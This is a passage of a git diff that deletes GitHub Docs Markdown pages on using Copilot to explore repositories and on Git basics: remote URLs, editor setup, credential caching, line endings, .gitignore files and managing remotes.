efficient. - -## Prerequisites - -{% data reusables.copilot.copilot-requires-subscription %} - -## Understanding a repository - -When you’re new to a project, it can be challenging to understand the purpose of a repository and its files. {% data variables.product.prodname_copilot_short %} can help you quickly understand the purpose of a repository, for example, by providing a summary of the repository’s README file. - -1. On the {% data variables.product.prodname_dotcom %} website, go to the repository you want to chat about. - -1. Click the **{% octicon "copilot" aria-hidden="true" %}** {% data variables.product.prodname_copilot %} icon at the top right of the page. -1. The heading at the top of the chat panel should read "Chatting about" followed by the name of the current repository. - - If the wrong repository name is displayed, because you were previously chatting about another repository, click **All repositories** then choose the repository you want to chat about. - - ![Screenshot of the {% data variables.product.prodname_copilot_short %} chat panel page with "All repositories" highlighted with a dark orange outline.](/assets/images/help/copilot/copilot-chat-all-repositories.png) - -1. In the "Ask {% data variables.product.prodname_copilot_short %}" box, at the bottom of the chat panel, type "Summarize the purpose of this repository based on the README" and press Enter. {% data variables.product.prodname_copilot_short %} replies in the chat panel. - -You can also use {% data variables.product.prodname_copilot_short %} to understand the roles of different folders and files within the repository. For example, you can ask {% data variables.product.prodname_copilot_short %} to summarize the contents of a specific file, or to explain the purpose of a specific folder. - -## Exploring files and code - -When you’re exploring a project, you might want to understand the contents of a specific file. {% data variables.product.prodname_copilot_short %} can help you quickly understand the purpose of a file, for example, by providing a summary of the file’s contents. You can also ask {% data variables.product.prodname_copilot_short %} to explain specific lines of code within a file. - -{% data reusables.copilot.chat-about-specific-lines %} - -## Next steps - -Now that you know how to use {% data variables.product.prodname_copilot_short %} to explore projects, you can use it to help you understand any repository, file, or line of code on {% data variables.product.prodname_dotcom %}. diff --git a/content/get-started/git-basics/about-remote-repositories.md b/content/get-started/git-basics/about-remote-repositories.md deleted file mode 100644 index 50b0532ea0dc..000000000000 --- a/content/get-started/git-basics/about-remote-repositories.md +++ /dev/null @@ -1,90 +0,0 @@ ---- -title: About remote repositories -redirect_from: - - /articles/working-when-github-goes-down - - /articles/sharing-repositories-without-github - - /articles/about-remote-repositories - - /articles/which-url-should-i-use - - /articles/which-remote-url-should-i-use - - /github/using-git/which-remote-url-should-i-use - - /github/using-git/about-remote-repositories - - /github/getting-started-with-github/about-remote-repositories - - /github/getting-started-with-github/getting-started-with-git/about-remote-repositories - - /get-started/getting-started-with-git/about-remote-repositories -intro: 'GitHub''s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.github %} for other people to view, fetch, and update.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -## About remote repositories - -A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server. - -You can only push to two types of URL addresses: - -* An HTTPS URL like `https://{% data variables.product.product_url %}/user/repo.git` -* An SSH URL, like `git@{% data variables.product.product_url %}:user/repo.git` - -Git associates a remote URL with a name, and your default remote is usually called `origin`. - -## Creating remote repositories - -You can use the `git remote add` command to match a remote URL with a name. -For example, you'd type the following in the command line: - -```shell -git remote add origin -``` - -This associates the name `origin` with the `REMOTE_URL`. - -You can use the command `git remote set-url` to [change a remote's URL](/get-started/git-basics/managing-remote-repositories). - -## Choosing a URL for your remote repository - -There are several ways to clone repositories available on {% data variables.product.github %}. - -When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details. - -For information on setting or changing your remote URL, see [AUTOTITLE](/get-started/git-basics/managing-remote-repositories). - -## Cloning with HTTPS URLs - -The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy. - -When you `git clone`, `git fetch`, `git pull`, or `git push` to a private remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.github %} username and password. {% data reusables.user-settings.password-authentication-deprecation %} - -{% data reusables.command_line.provide-an-access-token %} - -> [!TIP] -> * You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/get-started/git-basics/caching-your-github-credentials-in-git). -> * To clone a repository without authenticating to {% data variables.product.github %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see [AUTOTITLE](/desktop/adding-and-cloning-repositories/cloning-a-repository-from-github-to-github-desktop). - - {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see [AUTOTITLE](/authentication/troubleshooting-ssh/using-ssh-over-the-https-port).{% endif %} - -## Cloning with SSH URLs - -SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% data variables.product.github %}. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh). - -When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/working-with-ssh-key-passphrases). - -{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on) and [AUTOTITLE](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-an-ssh-key-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}.{% endif %}{% endif %} - -> [!TIP] -> You can use an SSH URL to clone a repository to your computer, or as a secure way of deploying your code to production servers. You can also use SSH agent forwarding with your deploy script to avoid managing keys on the server. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/using-ssh-agent-forwarding). - -## Cloning with {% data variables.product.prodname_cli %} - -You can also install {% data variables.product.prodname_cli %} to use {% data variables.product.github %} workflows in your terminal. For more information, see [AUTOTITLE](/github-cli/github-cli/about-github-cli). - -{% ifversion ghes < 3.13 %} - -## Cloning with Subversion - -{% data reusables.subversion.sunset %} - -You can also use a [Subversion](https://subversion.apache.org/) client to access any repository on {% data variables.product.github %}. Subversion offers a different feature set than Git. For more information, see [AUTOTITLE](/get-started/working-with-subversion-on-github/what-are-the-differences-between-subversion-and-git) - -You can also access repositories on {% data variables.product.github %} from Subversion clients. For more information, see [AUTOTITLE](/get-started/working-with-subversion-on-github/support-for-subversion-clients). -{% endif %} diff --git a/content/get-started/git-basics/associating-text-editors-with-git.md b/content/get-started/git-basics/associating-text-editors-with-git.md deleted file mode 100644 index 0914f09c5dbb..000000000000 --- a/content/get-started/git-basics/associating-text-editors-with-git.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Associating text editors with Git -intro: Use a text editor to open and edit your files with Git. -redirect_from: - - /textmate - - /articles/using-textmate-as-your-default-editor - - /articles/using-sublime-text-2-as-your-default-editor - - /articles/associating-text-editors-with-git - - /github/using-git/associating-text-editors-with-git - - /github/getting-started-with-github/associating-text-editors-with-git - - /github/getting-started-with-github/getting-started-with-git/associating-text-editors-with-git - - /get-started/getting-started-with-git/associating-text-editors-with-git -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Associate text editors ---- - -## Using {% data variables.product.prodname_vscode %} as your editor - -{% mac %} - -1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see [Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview) in the {% data variables.product.prodname_vscode_shortname %} documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "code --wait" - ``` - -{% endmac %} - -{% windows %} - -1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see [Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview) in the {% data variables.product.prodname_vscode_shortname %} documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "code --wait" - ``` - -{% endwindows %} - -{% linux %} - -1. Install [{% data variables.product.prodname_vscode %}](https://code.visualstudio.com/) ({% data variables.product.prodname_vscode_shortname %}). For more information, see [Setting up {% data variables.product.prodname_vscode_shortname %}](https://code.visualstudio.com/Docs/setup/setup-overview) in the {% data variables.product.prodname_vscode_shortname %} documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "code --wait" - ``` - -{% endlinux %} - -## Using Sublime Text as your editor - -{% mac %} - -1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see [Installation](https://docs.sublimetext.io/guide/getting-started/installation.html) in the Sublime Text documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "subl -n -w" - ``` - -{% endmac %} - -{% windows %} - -1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see [Installation](https://docs.sublimetext.io/guide/getting-started/installation.html) in the Sublime Text documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "'C:/Program Files (x86)/sublime text 3/subl.exe' -w" - ``` - -{% endwindows %} - -{% linux %} - -1. Install [Sublime Text](https://www.sublimetext.com/). For more information, see [Installation](https://docs.sublimetext.io/guide/getting-started/installation.html) in the Sublime Text documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "subl -n -w" - ``` - -{% endlinux %} - -{% windows %} - -## Using Notepad++ as your editor - -1. Install Notepad++ from https://notepad-plus-plus.org/. For more information, see [Getting started](https://github.com/notepad-plus-plus/npp-usermanual/blob/master/content/docs/getting-started.md) in the Notepad++ documentation. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Type this command: - - ```shell - git config --global core.editor "'C:/Program Files (x86)/Notepad++/notepad++.exe' -multiInst -notabbar -nosession -noPlugin" - ``` - -{% endwindows %} diff --git a/content/get-started/git-basics/caching-your-github-credentials-in-git.md b/content/get-started/git-basics/caching-your-github-credentials-in-git.md deleted file mode 100644 index 4d440b7e9c34..000000000000 --- a/content/get-started/git-basics/caching-your-github-credentials-in-git.md +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Caching your GitHub credentials in Git -redirect_from: - - /firewalls-and-proxies - - /articles/caching-your-github-password-in-git - - /github/using-git/caching-your-github-password-in-git - - /github/using-git/caching-your-github-credentials-in-git - - /github/getting-started-with-github/caching-your-github-credentials-in-git - - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git - - /get-started/getting-started-with-git/caching-your-github-credentials-in-git -intro: 'If you''re [cloning {% data variables.product.github %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Caching credentials ---- - -> [!TIP] -> If you clone {% data variables.product.github %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh). - -## {% data variables.product.prodname_cli %} - -{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.github %} credentials. - -1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. -1. In the command line, enter `gh auth login`, then follow the prompts. - * When prompted for your preferred protocol for Git operations, select `HTTPS`. - * When asked if you would like to authenticate to Git with your {% data variables.product.github %} credentials, enter `Y`. - -For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). - -## Git Credential Manager - -[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens), as GCM manages authentication on your behalf, including 2FA (two-factor authentication). - -{% mac %} - -1. Install Git using [Homebrew](https://brew.sh/): - - ```shell - brew install git - ``` - -1. Install GCM using Homebrew: - - ```shell - brew install --cask git-credential-manager - ``` - - For macOS, you don't need to run `git config` because GCM automatically configures Git for you. - -{% data reusables.gcm-core.next-time-you-clone %} - -Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. - -{% endmac %} - -{% windows %} - -1. Install Git for Windows, which includes GCM. For more information, see [Git for Windows releases](https://github.com/git-for-windows/git/releases/latest) from its [releases page](https://github.com/git-for-windows/git/releases/latest). - -We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub. - -{% data reusables.gcm-core.next-time-you-clone %} - -Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. - -
- -> [!WARNING] -> Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest). - -> [!WARNING] -> If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.github %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.github %} entry and delete it. - -{% endwindows %} - -{% linux %} - -For Linux, install Git and GCM, then configure Git to use GCM. - -1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run. - -1. Install GCM. See the [instructions in the GCM repo](https://github.com/git-ecosystem/git-credential-manager/blob/release/docs/install.md), as they'll vary depending on the flavor of Linux you run. - -1. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see [GCM Linux](https://aka.ms/gcmcore-linuxcredstores). - -{% data reusables.gcm-core.next-time-you-clone %} - -Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. - -For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git. - -{% endlinux %} - -
- -For more information or to report issues with GCM, see the official GCM docs at [Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager). diff --git a/content/get-started/git-basics/configuring-git-to-handle-line-endings.md b/content/get-started/git-basics/configuring-git-to-handle-line-endings.md deleted file mode 100644 index b201cd9a6305..000000000000 --- a/content/get-started/git-basics/configuring-git-to-handle-line-endings.md +++ /dev/null @@ -1,144 +0,0 @@ ---- -title: Configuring Git to handle line endings -intro: 'To avoid problems in your diffs, you can configure Git to properly handle line endings.' -redirect_from: - - /dealing-with-lineendings - - /line-endings - - /articles/dealing-with-line-endings - - /articles/configuring-git-to-handle-line-endings - - /github/using-git/configuring-git-to-handle-line-endings - - /github/getting-started-with-github/configuring-git-to-handle-line-endings - - /github/getting-started-with-github/getting-started-with-git/configuring-git-to-handle-line-endings - - /get-started/getting-started-with-git/configuring-git-to-handle-line-endings -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Handle line endings ---- -## About line endings - -Every time you press return on your keyboard you insert an invisible character called a line ending. Different operating systems handle line endings differently. - -When you're collaborating on projects with Git and {% data variables.product.github %}, Git might produce unexpected results if, for example, you're working on a Windows machine, and your collaborator has made a change in macOS. - -You can configure Git to handle line endings automatically so you can collaborate effectively with people who use different operating systems. - -## Global settings for line endings - -The `git config core.autocrlf` command is used to change how Git handles line endings. It takes a single argument. - -{% mac %} - -On macOS, you simply pass `input` to the configuration. For example: - -```shell -$ git config --global core.autocrlf input -# Configure Git to ensure line endings in files you checkout are correct for macOS -``` - -{% endmac %} - -{% windows %} - -On Windows, you simply pass `true` to the configuration. For example: - -```shell -$ git config --global core.autocrlf true -# Configure Git to ensure line endings in files you checkout are correct for Windows. -# For compatibility, line endings are converted to Unix style when you commit files. -``` - -{% endwindows %} - -{% linux %} - -On Linux, you simply pass `input` to the configuration. For example: - -```shell -$ git config --global core.autocrlf input -# Configure Git to ensure line endings in files you checkout are correct for Linux -``` - -{% endlinux %} - -## Per-repository settings - -Optionally, you can configure a `.gitattributes` file to manage how Git reads line endings in a specific repository. When you commit this file to a repository, it overrides the `core.autocrlf` setting for all repository contributors. This ensures consistent behavior for all users, regardless of their Git settings and environment. - -The `.gitattributes` file must be created in the root of the repository and committed like any other file. - -A `.gitattributes` file looks like a table with two columns: - -* On the left is the file name for Git to match. -* On the right is the line ending configuration that Git should use for those files. - -### Example - -Here's an example `.gitattributes` file. You can use it as a template for your repositories: - -```text -# Set the default behavior, in case people don't have core.autocrlf set. -* text=auto - -# Explicitly declare text files you want to always be normalized and converted -# to native line endings on checkout. -*.c text -*.h text - -# Declare files that will always have CRLF line endings on checkout. -*.sln text eol=crlf - -# Denote all files that are truly binary and should not be modified. -*.png binary -*.jpg binary -``` - -You'll notice that files are matched—`*.c`, `*.sln`, `*.png`—, separated by a space, then given a setting—`text`, `text eol=crlf`, `binary`. We'll go over some possible settings below. - -* `text=auto` Git will handle the files in whatever way it thinks is best. This is a good default option. - -* `text eol=crlf` Git will always convert line endings to `CRLF` on checkout. You should use this for files that must keep `CRLF` endings, even on OSX or Linux. - -* `text eol=lf` Git will always convert line endings to `LF` on checkout. You should use this for files that must keep LF endings, even on Windows. - -* `binary` Git will understand that the files specified are not text, and it should not try to change them. The `binary` setting is also an alias for `-text -diff`. - -## Refreshing a repository after changing line endings - -After you set the `core.autocrlf` option or commit a `.gitattributes` file, Git automatically changes line endings to match your new configuration. You may find that Git reports changes to files that you have not modified. - -To ensure that all the line endings in your repository match your new configuration, back up your files with Git, then remove and restore all of the files to normalize the line endings. - -1. Before adding or committing any changes, verify that Git has applied the configuration correctly. For example, Git automatically determines whether files in a repository are text or binary files. To avoid corruption of binary files in your repository, we recommend that you explicitly mark files as binary in `.gitattributes`. For more information, see [gitattributes - Defining attributes per path](https://www.git-scm.com/docs/gitattributes#_marking_files_as_binary) in the Git documentation. -1. To avoid losing any local changes to files in the repository, add and commit any outstanding changes by running the following commands. - - ```shell copy - git add . -u - git commit -m "Saving files before refreshing line endings" - ``` - -1. To update all files on the current branch to reflect the new configuration, run the following command. - - ```shell copy - git add --renormalize . - ``` - -1. To display the rewritten, normalized files, run the following command. - - ```shell copy - git status - ``` - -1. Optionally, to commit any outstanding changes in your repository, run the following command. - - ```shell copy - git commit -m "Normalize all the line endings" - ``` - -## Further reading - -* [Customizing Git - Git Attributes](https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes) in the Pro Git book -* [git-config](https://git-scm.com/docs/git-config) in the man pages for Git -* [Getting Started - First-Time Git Setup](https://git-scm.com/book/en/v2/Getting-Started-First-Time-Git-Setup) in the Pro Git book -* [Mind the End of Your Line](http://adaptivepatchwork.com/2012/03/01/mind-the-end-of-your-line/) by [Tim Clem](https://github.com/tclem) diff --git a/content/get-started/git-basics/git-cheatsheet.md b/content/get-started/git-basics/git-cheatsheet.md deleted file mode 100644 index e42d61edbcd9..000000000000 --- a/content/get-started/git-basics/git-cheatsheet.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Git cheatsheet -redirect_from: - - /articles/git-cheatsheet - - /github/getting-started-with-github/git-cheatsheet - - /github/getting-started-with-github/quickstart/git-cheatsheet - - /get-started/quickstart/git-cheatsheet - - /get-started/getting-started-with-git/git-cheatsheet -versions: - fpt: '*' - ghes: '*' - ghec: '*' -intro: This Git cheat sheet is a time saver when you forget a command or don't want to use help in the CLI. ---- -Learning all available Git commands at once can be a daunting task. You can use [Git Cheat Sheets](https://training.github.com/) for a quick reference to frequently used commands. The "Using Git" cheat sheet is available in several languages. - -In addition, take a look at our [Git and GitHub learning resources](/get-started/start-your-journey/git-and-github-learning-resources) page that links to guides, videos and more. diff --git a/content/get-started/git-basics/git-workflows.md b/content/get-started/git-basics/git-workflows.md deleted file mode 100644 index 8fdcaca97f4d..000000000000 --- a/content/get-started/git-basics/git-workflows.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Git workflows -intro: '{% data variables.product.prodname_dotcom %} flow is a lightweight, branch-based workflow that supports teams and projects that deploy regularly.' -redirect_from: - - /articles/what-is-a-good-git-workflow - - /articles/git-workflows - - /github/using-git/git-workflows - - /github/getting-started-with-github/git-workflows - - /github/getting-started-with-github/getting-started-with-git/git-workflows - - /get-started/getting-started-with-git/git-workflows -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -You can adopt the {% data variables.product.prodname_dotcom %} flow method to standardize how your team functions and collaborates on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/get-started/using-github/github-flow). diff --git a/content/get-started/git-basics/ignoring-files.md b/content/get-started/git-basics/ignoring-files.md deleted file mode 100644 index cd15f1246393..000000000000 --- a/content/get-started/git-basics/ignoring-files.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Ignoring files -redirect_from: - - /git-ignore - - /ignore-files - - /articles/ignoring-files - - /github/using-git/ignoring-files - - /github/getting-started-with-github/ignoring-files - - /github/getting-started-with-github/getting-started-with-git/ignoring-files - - /get-started/getting-started-with-git/ignoring-files -intro: 'You can configure Git to ignore files you don''t want to check in to {% data variables.product.github %}.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' ---- -## Configuring ignored files for a single repository - -You can create a `.gitignore` file in your repository's root directory to tell Git which files and directories to ignore when you make a commit. -To share the ignore rules with other users who clone the repository, commit the `.gitignore` file in to your repository. - -GitHub maintains an official list of recommended `.gitignore` files for many popular operating systems, environments, and languages in the "github/gitignore" public repository. You can also use gitignore.io to create a `.gitignore` file for your operating system, programming language, or IDE. For more information, see [github/gitignore](https://github.com/github/gitignore) and the [gitignore.io](https://www.gitignore.io/) site. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Navigate to the location of your Git repository. -1. Create a `.gitignore` file for your repository. - - ```shell - touch .gitignore - ``` - - If the command succeeds, there will be no output. - -For an example `.gitignore` file, see [Some common .gitignore configurations](https://gist.github.com/octocat/9257657) in the Octocat repository. - -If you want to ignore a file that is already checked in, you must untrack the file before you add a rule to ignore it. From your terminal, untrack the file. - -```shell -git rm --cached FILENAME -``` - -## Configuring ignored files for all repositories on your computer - -You can tell Git to always ignore certain files or directories when you make a commit in any Git repository on your computer. For example, you could use this feature to ignore any temporary backup files that your text editor creates. - -To always ignore a certain file or directory, add it to a file named `ignore` that's located inside the directory `~/.config/git`. By default, Git will ignore any files and directories that are listed in the global configuration file `~/.config/git/ignore`. If the `git` directory and `ignore` file don't exist yet, you may need to create them. - -## Excluding local files without creating a _.gitignore_ file - -If you don't want to create a `.gitignore` file to share with others, you can create rules that are not committed with the repository. You can use this technique for locally-generated files that you don't expect other users to generate, such as files created by your editor. - -Use your favorite text editor to open the file called `.git/info/exclude` within the root of your Git repository. Any rule you add here will not be checked in, and will only ignore files for your local repository. - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Navigate to the location of your Git repository. -1. Using your favorite text editor, open the file `.git/info/exclude`. - -## Further Reading - -* [Ignoring files](https://git-scm.com/book/en/v2/Git-Basics-Recording-Changes-to-the-Repository#_ignoring) in the Git documentation -* [.gitignore](https://git-scm.com/docs/gitignore) in the Git documentation -* [A collection of useful _.gitignore_ templates](https://github.com/github/gitignore) in the github/gitignore repository -* [gitignore.io](https://www.gitignore.io/) site diff --git a/content/get-started/git-basics/index.md b/content/get-started/git-basics/index.md deleted file mode 100644 index 1b09c0913f63..000000000000 --- a/content/get-started/git-basics/index.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Git basics -intro: 'Set up Git, a distributed version control system, to manage your {% data variables.product.github %} repositories from your computer.' -redirect_from: - - /articles/getting-started-with-git-and-github - - /github/using-git/getting-started-with-git-and-github - - /github/using-git/learning-about-git - - /articles/learning-about-git - - /github/getting-started-with-github/getting-started-with-git - - /get-started/getting-started-with-git -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /set-up-git - - /setting-your-username-in-git - - /caching-your-github-credentials-in-git - - /why-is-git-always-asking-for-my-password - - /updating-credentials-from-the-macos-keychain - - /git-workflows - - /about-remote-repositories - - /managing-remote-repositories - - /associating-text-editors-with-git - - /configuring-git-to-handle-line-endings - - /ignoring-files - - /git-cheatsheet ---- diff --git a/content/get-started/git-basics/managing-remote-repositories.md b/content/get-started/git-basics/managing-remote-repositories.md deleted file mode 100644 index e20b8908484a..000000000000 --- a/content/get-started/git-basics/managing-remote-repositories.md +++ /dev/null @@ -1,251 +0,0 @@ ---- -title: Managing remote repositories -intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.github %}.' -redirect_from: - - /categories/18/articles - - /remotes - - /categories/managing-remotes - - /articles/managing-remote-repositories - - /articles/adding-a-remote - - /github/using-git/adding-a-remote - - /articles/changing-a-remote-s-url - - /articles/changing-a-remotes-url - - /github/using-git/changing-a-remotes-url - - /articles/renaming-a-remote - - /github/using-git/renaming-a-remote - - /articles/removing-a-remote - - /github/using-git/removing-a-remote - - /github/using-git/managing-remote-repositories - - /github/getting-started-with-github/managing-remote-repositories - - /github/getting-started-with-github/getting-started-with-git/managing-remote-repositories - - /get-started/getting-started-with-git/managing-remote-repositories -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Manage remote repositories ---- -{% ifversion ghec %} - -> [!NOTE] {% data reusables.enterprise-data-residency.access-domain %} - -{% endif %} - -## Adding a remote repository - -To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at. - -The `git remote add` command takes two arguments: -* A remote name, for example, `origin` -* A remote URL, for example, `https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git` - -For example: - -```shell -$ git remote add origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git -# Set a new remote - -$ git remote -v -# Verify new remote -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) -``` - -For more information on which URL to use, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories). - -### Troubleshooting: Remote origin already exists - -This error means you've tried to add a remote with a name that already exists in your local repository. - -```shell -$ git remote add origin https://{% data variables.product.product_url %}/octocat/Spoon-Knife.git -> fatal: remote origin already exists. -``` - -To fix this, you can: -* Use a different name for the new remote. -* Rename the existing remote repository before you add the new remote. For more information, see [Renaming a remote repository](#renaming-a-remote-repository) below. -* Delete the existing remote repository before you add the new remote. For more information, see [Removing a remote repository](#removing-a-remote-repository) below. - -## Changing a remote repository's URL - -The `git remote set-url` command changes an existing remote repository URL. - -> [!TIP] -> For information on the difference between HTTPS and SSH URLs, see [AUTOTITLE](/get-started/git-basics/about-remote-repositories). - -The `git remote set-url` command takes two arguments: - -* An existing remote name. For example, `origin` or `upstream` are two common choices. -* A new URL for the remote. For example: - * If you're updating to use HTTPS, your URL might look like: - - ```shell - https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git - ``` - - * If you're updating to use SSH, your URL might look like: - - ```shell - git@{% data variables.product.product_url %}:OWNER/REPOSITORY.git - ``` - -### Switching remote URLs from SSH to HTTPS - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory to your local project. -1. List your existing remotes in order to get the name of the remote you want to change. - - ```shell - $ git remote -v - > origin git@{% data variables.product.product_url %}:OWNER/REPOSITORY.git (fetch) - > origin git@{% data variables.product.product_url %}:OWNER/REPOSITORY.git (push) - ``` - -1. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command. - - ```shell - git remote set-url origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git - ``` - -1. Verify that the remote URL has changed. - - ```shell - $ git remote -v - # Verify new remote URL - > origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) - > origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) - ``` - -The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user-settings.password-authentication-deprecation %} - -You can [use a credential helper](/get-started/git-basics/caching-your-github-credentials-in-git) so Git will remember your GitHub username and {% data variables.product.pat_generic %} every time it talks to GitHub. - -### Switching remote URLs from HTTPS to SSH - -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory to your local project. -1. List your existing remotes in order to get the name of the remote you want to change. - - ```shell - $ git remote -v - > origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) - > origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) - ``` - -1. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command. - - ```shell - git remote set-url origin git@{% data variables.product.product_url %}:OWNER/REPOSITORY.git - ``` - -1. Verify that the remote URL has changed. - - ```shell - $ git remote -v - # Verify new remote URL - > origin git@{% data variables.product.product_url %}:OWNER/REPOSITORY.git (fetch) - > origin git@{% data variables.product.product_url %}:OWNER/REPOSITORY.git (push) - ``` - -### Troubleshooting: No such remote '[name]' - -This error means that the remote you tried to change doesn't exist: - -```shell -$ git remote set-url sofake https://{% data variables.product.product_url %}/octocat/Spoon-Knife -> fatal: No such remote 'sofake' -``` - -Check that you've correctly typed the remote name. - -## Renaming a remote repository - -Use the `git remote rename` command to rename an existing remote. - -The `git remote rename` command takes two arguments: -* An existing remote name, for example, `origin` -* A new name for the remote, for example, `destination` - -### Example of renaming a remote repository - -These examples assume you're [cloning using HTTPS](/get-started/git-basics/about-remote-repositories#cloning-with-https-urls), which is recommended. - -```shell -$ git remote -v -# View existing remotes -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (fetch) -> origin https://{% data variables.product.product_url %}/OWNER/REPOSITORY.git (push) - -$ git remote rename 